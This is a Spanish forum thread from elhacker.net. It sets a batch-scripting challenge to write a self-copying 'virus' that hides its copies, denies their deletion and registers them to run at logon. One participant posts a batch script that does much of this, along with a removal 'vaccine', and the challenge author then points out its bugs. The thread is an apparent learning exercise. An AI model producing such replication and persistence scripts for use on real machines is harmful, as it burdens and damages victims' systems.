elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Como proteger una cartera - billetera de Bitcoin


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  [Reto Batch] VIRUS HELLO !!
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: [Reto Batch] VIRUS HELLO !!  (Leído 7,482 veces)
Eleкtro
Ex-Staff
*
Desconectado Desconectado

Mensajes: 9.809



Ver Perfil
[Reto Batch] VIRUS HELLO !!
« en: 9 Mayo 2012, 15:19 pm »

Aquí pueden comentar todo lo que quieran, sus dudas, avances o soluciones acerca del siguiente reto:


Reto Nº 13

Nombre:           Virus HELLO !! (Elektro H@cker)
Dificultad:         5/10
Objetivo:          Crea un bat que cumpla estas funciones:

  • El bat se debe autocopiar a si mismo en TODAS las carpetas y subcarpetas del PC.
  • Cada vez que se crea una copia, La copia debe tener un nombre distinto al Bat original, Un nombre aleatorio, Para que séa más dificil de localizar las copias y eliminarlas.
  • Cada copia debe tener el atributo de archivo OCULTO y SOLO LECTURA
  • Cada copia debe tener los privilegios de usuario DENEGADOS A LA ELIMINACIÓN para impedir que el archivo se elimine facilmente.
  • Se debe crear una taréa programada o una clave de registro en el sistema que ejecute CADA COPIA al iniciar sesión en la cuenta de ese usuario.
  • Cada copia solamente debe mostrar un mensaje de ECHO **** y el comando Pause, NO DEBE VOLVER A AUTOCOPIARSE cuando se ejecute la taréa.

- Con lo cual nos quedará un bonito inicio de sesión :D que ejecutará unas +15.000 copias de un bat dificil de borrar para un usuario novato.
PD: La intención de este reto es que aprendan a usar comandos muy importantes!.

Indicaciones:   Las carpetas que necesiten privilegios de admin no tiene importancia.
Pistas:              Comandos: SET /?, FOR /? /?, SCHT???S, REG ???, A??RIB, ?CACLS, ????OWN.
Ejemplo:
                              
Solución:         Pedir por mensaje privado


En línea

$Edu$


Desconectado Desconectado

Mensajes: 1.842



Ver Perfil
Re: [Reto Batch] VIRUS HELLO !!
« Respuesta #1 en: 9 Mayo 2012, 15:31 pm »

No podes poner que esos nombres "aleatorios" empiecen con "elektroH" quedando por ejemplo: "elektroH54657.bat" , "elektroH423489.bat" Asi luego haces la continuacion de este reto que seria la vacuna para este virus. Y tambien ayuda para cuando anden probando sus codigos, que se les haria un caos con tantos .bats, y si van programando la vacuna en paralelo, podran eliminar los bats para seguir haciendo pruebas sin "ensuciar" la pc xD


En línea

Eleкtro
Ex-Staff
*
Desconectado Desconectado

Mensajes: 9.809



Ver Perfil
Re: [Reto Batch] VIRUS HELLO !!
« Respuesta #2 en: 9 Mayo 2012, 15:35 pm »

No podes poner que esos nombres "aleatorios" empiecen con "elektroH" quedando por ejemplo: "elektroH54657.bat" , "elektroH423489.bat" Asi luego haces la continuacion de este reto que seria la vacuna para este virus. Y tambien ayuda para cuando anden probando sus codigos, que se les haria un caos con tantos .bats, y si van programando la vacuna en paralelo, podran eliminar los bats para seguir haciendo pruebas sin "ensuciar" la pc xD

Bueno, Las pruebas se pueden hacer en un directorio que contenga 2 subcarpetas (CD "CARPETA TEST..."), Así no se ensucia.

La vacuna sería muy fácil aun con nombres aleatorios, Solo hay que buscar parte del código del bat que hagan con "TYPE + FIND", En todos los bats del pc, Y si encuentra alguna coincidencia pues elimina ese bat con "DEL" XD.

Salu2!
En línea

79137913


Desconectado Desconectado

Mensajes: 1.169


4 Esquinas


Ver Perfil WWW
Re: [Reto Batch] VIRUS HELLO !!
« Respuesta #3 en: 9 Mayo 2012, 16:07 pm »

HOLA!!!

Ni a palos hago esto, a no ser que alguien postee la vacuna por que me va a llenar la pc de basura cada testeo que haga.

GRACIAS POR LEER!!!
En línea

"Como no se puede igualar a Dios, ya he decidido que hacer, ¡SUPERARLO!"
"La peor de las ignorancias es no saber corregirlas"

 79137913                          *Shadow Scouts Team*
BatchianoISpyxolo

Desconectado Desconectado

Mensajes: 166


Ver Perfil
Re: [Reto Batch] VIRUS HELLO !!
« Respuesta #4 en: 9 Mayo 2012, 16:29 pm »

No se ve muy complejo y a la vez interesante... A ver si me pongo con los retos en algún momento :)
En línea

Puede que desees aprender a programar desde 0: www.espascal.es
$Edu$


Desconectado Desconectado

Mensajes: 1.842



Ver Perfil
Re: [Reto Batch] VIRUS HELLO !!
« Respuesta #5 en: 9 Mayo 2012, 17:19 pm »

Ahi va, hay que probar si anda dentro de una carpeta, luego confiarse que andara para todas las carpetas del pc.

Yo en otro tema te pregunte como hacer esto Elektro.. dime si no soy bueno dando ideas implicitas xDDD
Algun dia hare los retos para demostrar que no se requiere saber mucho batch para hacer muchas cosas, obviamente que no sera la misma calidad pero resolver se resuelve que es la idea. Digo esto porque algunos se asustan (yo a veces tambien xD) cuando ven codigos que hace Elektro xDD con cosas en otro idioma parece xDD
En línea

-- KiLiaN --


Desconectado Desconectado

Mensajes: 1.163


Ju Já!!


Ver Perfil
Re: [Reto Batch] VIRUS HELLO !!
« Respuesta #6 en: 9 Mayo 2012, 18:30 pm »

challenge accepted!  :rolleyes:
En línea

Eleкtro
Ex-Staff
*
Desconectado Desconectado

Mensajes: 9.809



Ver Perfil
Re: [Reto Batch] VIRUS HELLO !!
« Respuesta #7 en: 10 Mayo 2012, 10:54 am »

Algun dia hare los retos para demostrar que no se requiere saber mucho batch para hacer muchas cosas,
Este reto es fácil y Batch también, en menos de 30 lineas se puede simplificar, Y los comandos necesarios ya los dije, vamos!  ;)

Digo esto porque algunos se asustan (yo a veces tambien xD) cuando ven codigos que hace Elektro xDD con cosas en otro idioma parece xDD
Yo nunca me puse una medalla de "Maestro/Genio de Batch"  :xD, Que quede claro! xD, Aunque si que considero que conozco el 99% acerca de Batch, Pero cualquiera puede conocerlo a la perfección y hacer buenos codes si lo estudia CON GANAS, No hay demasiado que aprender y en eso tienes razón $Edu$.  

Salu2.
En línea

-- KiLiaN --


Desconectado Desconectado

Mensajes: 1.163


Ju Já!!


Ver Perfil
Re: [Reto Batch] VIRUS HELLO !!
« Respuesta #8 en: 10 Mayo 2012, 17:54 pm »

Vale con esto? Se me ha roto el pc (creo que murió la gráfica.. :-[, se me apagó de repente y enciende y tal pero ahi se queda..en fin ya lo investigaré..) y ahora mismo sólo dispongo de windows xp en el portatil asique hago lo que puedo..He puesto un principio en el nombre para poder borrarlo con la vacuna con más facilidad.

Código:
@Echo off
Setlocal enabledelayedexpansion
Color 02
:: -- KiLiaN --
Echo Foro.elhacker.net -^> reto Batch Numero 13

For /D /R %%i in (*) do (cd %%i & if exist kln*.bat (Echo ** & pause & exit /B) else (
set var=kln%random%.bat
Echo Echo ***> !var!
Echo pause>>!var!
attrib +r +h !var!
cacls !var! /E /P %USERNAME%:N>nul
reg Add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Reto!var!" /d "start /w %%i\!var!" /F))

PD: He previsualizado y veo que el código sale con mas cosas asique el la variable %USERNAME% y el nombre del registro hay que cambiarlos cuando lo copieis..

Aqui mi vacuna, el registro lo limpio con ccleaner o con msconfig que solo hay que seleccionar y pulsar suprimir xD

Código
  1. @Echo off
  2. Setlocal enabledelayedexpansion
  3. color 02
  4. :: By -- KiLiaN --
  5. Echo Foro.elhacker.net -^> Vacuna para el reto Batch Numero 13
  6.  
  7. For /D /R %%i in (*) do (
  8. cd %%i
  9. Cacls kln*.bat /E /P %USERNAME%:F
  10. Attrib -r -h kln*.bat
  11. Del /Q kln*.bat))
« Última modificación: 11 Mayo 2012, 13:40 pm por EleKtro H@cker » En línea

Eleкtro
Ex-Staff
*
Desconectado Desconectado

Mensajes: 9.809



Ver Perfil
Re: [Reto Batch] VIRUS HELLO !!
« Respuesta #9 en: 11 Mayo 2012, 13:48 pm »

Vale con esto?

No puedo aceptar la solución, Hay errores importantes:
Código:
cd %%i
> Si la variable contiene espacios no podrás acceder a esa carpeta

Código:
set var=kln%random%.bat
> El número aleatorio no cambia de valor, siempre será el mismo. (Dejo que averigues el porqué :P)

Código:
cacls !var! /E /P %USERNAME%:N>nul
> las copias no van a funcionar al ejecutarse windows porque le has quitado el derecho de lectura (Bueno, le has quitado todos).

Saludos
En línea

Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[Reto Batch] Jugando con la IP I « 1 2 »
Scripting
Eleкtro 10 6,417 Último mensaje 10 Mayo 2012, 17:24 pm
por 79137913
[Reto Batch] It's a dir? « 1 2 3 4 »
Scripting
Eleкtro 30 19,053 Último mensaje 31 Marzo 2014, 18:13 pm
por Shell Root
[Reto Batch] Hex2Dec Batch Command « 1 2 »
Scripting
BatchianoISpyxolo 15 8,007 Último mensaje 22 Julio 2012, 06:00 am
por Binary_Death
[Reto Batch] Variaciones con repetición,con 26 elementos [abecedario inglés]
Scripting
Eleкtro 9 6,842 Último mensaje 17 Julio 2012, 19:16 pm
por Binary_Death
[Reto Batch]Edad lunar
Scripting
Binary_Death 2 3,147 Último mensaje 9 Julio 2012, 23:45 pm
por Binary_Death
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines